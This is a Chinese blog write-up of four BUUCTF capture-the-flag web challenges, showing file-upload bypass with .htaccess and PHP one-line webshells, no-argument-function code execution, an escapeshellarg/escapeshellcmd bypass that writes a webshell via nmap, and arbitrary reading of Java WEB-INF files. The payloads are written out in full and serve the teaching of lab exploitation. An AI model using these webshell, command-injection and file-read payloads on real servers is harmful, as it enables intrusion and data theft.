BUUCTF(2)

[GXYCTF2019]BabyUpload 1 htaccess+phtml

上传.htaccess文件内容为SetHandler application/x-httpd-php并修改Content-Type:image/jpeg
在这里插入图片描述

尝试上传php一句话木马<?php eval($_POST[qwer]);?>
在这里插入图片描述
利用.phtml文件绕过,对应的一句话木马<script language="php">eval($_POST['qwer']);</script>,但是这里后缀名也不能有ph,所以上传图片上去
在这里插入图片描述利用蚁剑连接或者直接命令执行

[GXYCTF2019]禁止套娃 1 无字符RCE

打开题目就一句flag在哪,直接劝退。。。。发现是git泄漏,想用Githack扒一下源码

GitHack.py 7c893848-5591-44ea-9378-2fa8f86acf2c.node4.buuoj.cn/.git/

在这里插入图片描述
扒了个寂寞,想手动去/.git/index下载源码又不知道下载了个什么奇怪的东西(艹,我也太垃圾了)

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    
    
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
    
    
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
    
    
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
    
    
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
    
    
                die("还差一点哦!");
            }
        }
        else{
    
    
            die("再好好想想!");
        }
    }
    else{
    
    
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

三个绕过,第一个过滤掉协议,第二个(?R)引用当前表达式,后面加了?递归调用。只能通过无参数的函数,第三个就是一些函数。主要就是通过无参数函数来进行命令执行。

localeconv() 函数返回一包含本地数字及货币格式信息的数组。
scandir() 列出 images 目录中的文件和目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse()以相反的元素顺序返回数组。
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码

首先输出当前目录的文件

?exp=print_r(scandir(current(localeconv())));

在这里插入图片描述
这里已经发现了flag.php,那接下来如何取值呢

  1. 取反后依次取值

取反:array_reverse()
取下一个值:next()

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

2.反转加随机数组
反转:array_flip()
随机数组:array_rand()

?exp=show_source(array_rand(array_flip(scandir(pos(localeconv())))));

[BUUCTF 2018]Online Tool 1 nmap+escapeshellarg/cmd

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    
    
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    
    
    highlight_file(__FILE__);
} else {
    
    
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

首先是一个nmap的小知识点

namp <?php phpinfo(); ?> -oG 1.php
可以写入一个文件
nmap <?php phpinfo();> -oG 1.php\’
会写成1.php‘ 而不是 1.php

其次这里要搞清楚 escapeshellarg();escapeshellcmd();两个函数(直接截seebug里的解释)

seebug
直接给出payload

?host=' <?php @eval($_POST["1"]);?> -oG 1.php '

这里前面加的’单引号是为了将shell命令分割出来然后执行,如果不加就会被当作参数,后面的’单引号是为了闭合一个函数的’单引号,否则命令会被遗弃

在这里插入图片描述
可以用蚁剑连也可以直接到页面进行命令执行,下面是正确传上去的样子

在这里插入图片描述
最后在根目录下找到flag
在这里插入图片描述

[RoarCTF 2019]Easy Java 1

打开是一个登录框
在这里插入图片描述

点击help后进入
在这里插入图片描述

平常都是php的网站,哪见过java的,就算有文件任意读取也找不到地方。找到一个框架和一些目录的介绍

在这里插入图片描述

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件
/WEB-INF/database.properties:数据库配置文件

help页面抓包改为POST方式查看web.xml页面

POST /Download?filename=WEB-INF/web.xml 

在这里插入图片描述

在对应classes目录中查看flag

POST /Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class
filename=WEB-INF/classes/com/wm/ctf/FlagController.class

在这里插入图片描述

总体思路就是通过重要信息文件找到flag的地址,然后直接访问就能拿到,这里再一个标签的知识点

<servlet-class>  这个就是指向我们要注册的servlet 的类地址, 要带包路径

<servlet-mapping>  是用来配置我们注册的组件的访问路径,里面包括两个节点
一个是   <servlet-name>  这个要与前面写的servlet那么一致
另一个是  <url-pattern>  配置这个组件的访问路径
<servlet-name> 这个是我们要注册servlet的名字,一般跟Servlet类名有关
举个例子
<servlet>
    <servlet-name>LoginServlet</servlet-name>
    <servlet-class>com.breeze.servlet.LoginServlet</servlet-class>
  </servlet>

参考文章

おすすめ

転載: blog.csdn.net/weixin_54648419/article/details/120726215